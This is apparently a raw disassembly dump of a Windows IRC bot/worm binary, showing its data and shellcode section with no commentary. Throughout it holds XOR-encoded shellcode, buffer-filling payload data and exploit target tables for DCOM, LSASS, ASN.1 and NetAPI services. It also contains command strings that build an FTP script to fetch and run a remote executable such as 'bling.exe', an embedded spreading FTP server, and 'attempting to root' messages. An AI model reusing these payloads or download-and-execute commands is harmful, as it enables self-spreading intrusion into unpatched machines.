; DATA XREF: sub_403A90+29Fo dword_4289C4 dd 3 ; DATA XREF: sub_403A90+246o aCccc db 'CCCC',0 ; DATA XREF: sub_403A90+153o align 10h loc_4289D0: ; DATA XREF: sub_403A90+E8o jmp short near ptr dword_4289D8 ; --------------------------------------------------------------------------- align 8 dword_4289D8 dd 0 ; CODE XREF: ___:loc_4289D0j aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: ___:004042E4o ; sub_404F9A+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_428A50 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo ; --------------------------------------------------------------------------- loc_428A5C: ; CODE XREF: ___:00428A66j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_428A5C inc edi jz short loc_428AA3 and eax, 952CE753h inc esp jle short loc_428ACB push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_428AA3: ; CODE XREF: ___:00428A69j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_428B02+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_428AC8: ; CODE XREF: ___:00428AF5j xor [esi-25h], bl loc_428ACB: ; CODE XREF: ___:00428A71j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_428AE4: ; CODE XREF: ___:00428B17j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_428AC8 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_428B02: ; CODE XREF: ___:00428AA9j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_428B8E jo short loc_428AE4 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_428B25+1 add bl, [edi] loc_428B25: ; CODE XREF: ___:00428B21j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_428B3A+2 cmp ch, bh dec edx loc_428B3A: ; CODE XREF: ___:00428B35j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_428B8E: ; CODE XREF: ___:00428B15j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_428C14 sub al, 0BCh jmp near ptr 54448F82h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_428BB0 dd 0EFFFC481h, 44FFFFh, 428BFCh ; DATA XREF: ___:00404BE6o dword_428BBC dd 42Ah ; DATA XREF: ___:00404B99r dword_428BC0 dd 3E8h ; DATA XREF: ___:00404C0Ar dword_428BC4 dd 258h ; DATA XREF: ___:00404BDCr byte_428BC8 db 0 ; DATA XREF: ___:00404B45r ; ___:00404C13r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_428BE0 dd 20804h ; DATA XREF: sub_404853r ___:00404C31o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_428C14: ; CODE XREF: ___:00428B98j push eax xor al, 29h loc_428C17: ; DATA XREF: ___:00404B6Do add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_428C20 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:00404A9Do dword_428C34 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:00404A41o aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o align 4 a_: ; DATA XREF: sub_406387+252o unicode 0, <.>,0 dword_428C60 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh dup(64646464h) db 2 dup(64h) word_429042 dw 6464h ; DATA XREF: ___:00428641o dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h dup(69696969h) dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh) dd 16B6B6Bh, 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h dd 5780EE37h, 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h dd 78A9269Bh, 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 loc_429E74: ; DATA XREF: ___:00405319o add al, 54h dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax loc_429E92: ; CODE XREF: ___:00429EE2j inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx fmul st(1), st mov al, 42h jmp short loc_429EE9 ; --------------------------------------------------------------------------- dec edx inc ebx push esp dec eax inc ebx and [ecx], eax jo short loc_429E92 inc edx add [eax-52h], esi inc edx loc_429EE9: ; CODE XREF: ___:00429ED9j mov edi, esp add edi, 2Ch sub sp, 204h xor ecx, ecx mov dl, 35h add cx, 138h loc_429EFC: ; CODE XREF: ___:00429F03j mov bl, [edi] xor bl, dl mov [edi], bl inc edi loop loc_429EFC ficom word ptr [esi] dec edi pop esp aaa xor [ecx+6Ch], bl int 28h ; DOS 2+ internal - KEYBOARD BUSY LOOP test eax, 79E4B9EBh inc ebp loope loc_429F4D lds edx, [edx] adc eax, 623D0515h db 66h pop es push 6 pop es assume es:nothing sbb esi, [ecx+79h] jns short near ptr loc_429F59+3 fidiv word ptr [eax] fxch4 st(4) retf 0CACAh ; --------------------------------------------------------------------------- db 68h dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh, 0B83D4DBEh dd 2EBE096Ah, 6EBECE34h ; --------------------------------------------------------------------------- dec ebp loc_429F4D: ; CODE XREF: ___:00429F15j xor al, 0CEh mov esi, 0CC34297Eh mov esi, 0CF341166h loc_429F59: ; CODE XREF: ___:00429F26j db 64h, 67h mov si, 156Eh xor al, 0CEh add al, 0FCh jz short near ptr loc_429F67+2 cmc lodsb loc_429F67: ; CODE XREF: ___:00429F63j mov esi, 0CB34BE01h cdq add al, 0F7h in al, 0D7h mov cl, 0F5h inc eax retn 833Ah ; --------------------------------------------------------------------------- db 70h dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h, 66A13930h dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h word_42A040 dw 7A69h ; DATA XREF: sub_405144+30r align 4 aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_405144+97o db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 10h unk_42A0B0 db 2 ; DATA XREF: ___:00405367o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 25h, 73h, 2Eh db 65h ; e db 1Fh, 78h, 1Fh db 70h ; p db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAttemptingToRo db 'attempting to root %s',0 align 10h a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o aQuit db 'QUIT',0 ; DATA XREF: sub_4053D5+5BCo ; sub_40EE72+537o align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_4053D5+5AFo align 4 unk_42A128 db 3 ; DATA XREF: sub_4053D5+564o db 33h, 6Eh, 2 db 7Ah ; z db 1Fh, 6Dh, 1Fh db 20h db 28h, 66h, 74h db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 3, 34h aSPortDNowExecu db '»» %s, port:%d now executing %s on remote ABOSAL7.',0 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_4053D5+519o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_4053D5+501o align 10h a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo align 10h aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_4053D5+4DBo aXX db '%x%x',0Ah,0 ; DATA XREF: sub_4053D5+4A8o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_4053D5+42Bo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo align 4 aList db 'LIST',0 ; DATA XREF: sub_4053D5+3EAo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_4053D5+3AFo align 10h aPasv db 'PASV',0 ; DATA XREF: sub_4053D5+39Co align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co aI: ; DATA XREF: sub_4053D5+378o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o aA: ; DATA XREF: sub_4053D5+33Do unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_4053D5+326o ; sub_4053D5+361o align 10h a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o align 10h off_42A2D0 dd offset dword_445750 ; DATA XREF: sub_4053D5+302o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o align 4 aRest db 'REST',0 ; DATA XREF: sub_4053D5+2DEo align 10h a215Nzmxftpd db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo align 10h aSyst db 'SYST',0 ; DATA XREF: sub_4053D5+2BAo align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo align 10h aPass db 'PASS',0 ; DATA XREF: sub_4053D5+296o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o align 10h aUser_1 db 'USER',0 ; DATA XREF: sub_4053D5+271o align 4 aSS_1 db '%s %s',0 ; DATA XREF: sub_4053D5+260o align 10h a220Nzmxftpd0wn db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o align 4 aRb db 'rb',0 ; DATA XREF: sub_405A58+24o ; sub_406C19+12Eo ... align 4 unk_42A36C db 2 ; DATA XREF: sub_405AF2+3F8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 10h asc_42A3B0 db 0Dh,0Ah,0 ; DATA XREF: sub_405AF2+2CFo align 4 asc_42A3B4: ; DATA XREF: sub_405AF2+293o ; sub_40EE72+A8o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_405AF2+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405F4D+98o ; sub_40B8D8+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_405F4D+5Fo align 4 unk_42A5D4 db 2 ; DATA XREF: sub_4060D0+296o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_42A61C db 2 ; DATA XREF: sub_4060D0+212o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 asc_42A65C: ; DATA XREF: sub_4060D0+15Ao unicode 0, <*>,0 asc_42A660: ; DATA XREF: sub_4060D0+FBo ; sub_406387+29o ... dw 0Ah unicode 0, <>,0 aSS_2 db '%s%s',0 ; DATA XREF: sub_4060D0+EAo ; sub_406387+4DAo ... align 4 aS_1 db '%s',0 ; DATA XREF: sub_4060D0+3Ao ; sub_40B390+4Co ... align 10h aS_2 db '\%s',0 ; DATA XREF: sub_4060D0+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_406387+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_406387+61Co align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o align 4 aSS db '%s%s/',0 ; DATA XREF: sub_406387+36Co align 10h aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+328o ; sub_406387+496o db '<TD WIDTH="%d"><A HREF="',0 align 10h aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_406387+310o align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_406387+2E9o ; sub_406387+40Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo aAm db 'AM',0 ; DATA XREF: sub_406387+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_406387+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_406387+237o align 10h aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_406387+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_42AB14 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_406C19+493o dword_42AB20 dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C19+47Fo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah dd 2E2973h unk_42AB74 db 2 ; DATA XREF: sub_406C19+3B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileNotFoundSS db ' File not found: %s (%s).',0 dword_42ABA8 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_406C19+399o dword_42ABBC dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C19+33Eo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h dd 3A6F666Eh, 73252820h, 2E29h unk_42AC04 db 2 ; DATA XREF: sub_406C19+15Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToOpenFi db ' Failed to open file: %s.',0 unk_42AC38 db 2 ; DATA XREF: sub_406C19+6Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketF_2 db ' Error: socket() failed, returned: <%d>.',0 align 4 aOctet db 'octet',0 ; DATA XREF: sub_406C19+Fo align 8 aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_407767+169o db 2 dup(0) aDcom135 db 'Dcom135',0 ; DATA XREF: ___:00405361o align 4 dd 5 dup(0) dword_42ACB0 dd 87h ; DATA XREF: sub_407110+1Er ; sub_40EE72+30B3r ... off_42ACB4 dd offset sub_402DD7 ; DATA XREF: sub_407767+1EAr dword_42ACB8 dd 0 ; DATA XREF: sub_402DD7+2E1w ; sub_402DD7+2E7r ... dword_42ACBC dd 1 ; DATA XREF: sub_407252+1Fr dword_42ACC0 dd 0 ; DATA XREF: sub_407252:loc_4074C3r aDcom445 db 'dcom445',0 dd 63440000h, 34346D6Fh, 35h, 5 dup(0) dd 1BDh, 402DD7h, 0 dd 1, 0 aDcom1025 db 'dcom1025',0 align 2 aDcom1025_0 db 'Dcom1025',0 align 4 dd 5 dup(0) dd 401h, 402DD7h, 0 dd 1, 0 aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 403688h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0035h, 5F737361h dd 353331h, 5 dup(0) dd 87h, 403688h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h dd 393331h, 5 dup(0) dd 8Bh, 403688h, 0 dd 2 dup(1), 346E7361h, 3534h, 73610000h, 6D73316Eh, 62h dd 5 dup(0) dd 1BDh, 40428Fh, 0 dd 2 dup(1), 316E7361h, 3933h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 40428Fh, 0 dd 2 dup(1), 6970616Eh, 353434h, 656E0000h, 69706174h dd 353434h, 5 dup(0) dd 1BDh, 404F42h, 2 dup(0) dd 1, 6970616Eh, 393331h, 656E0000h, 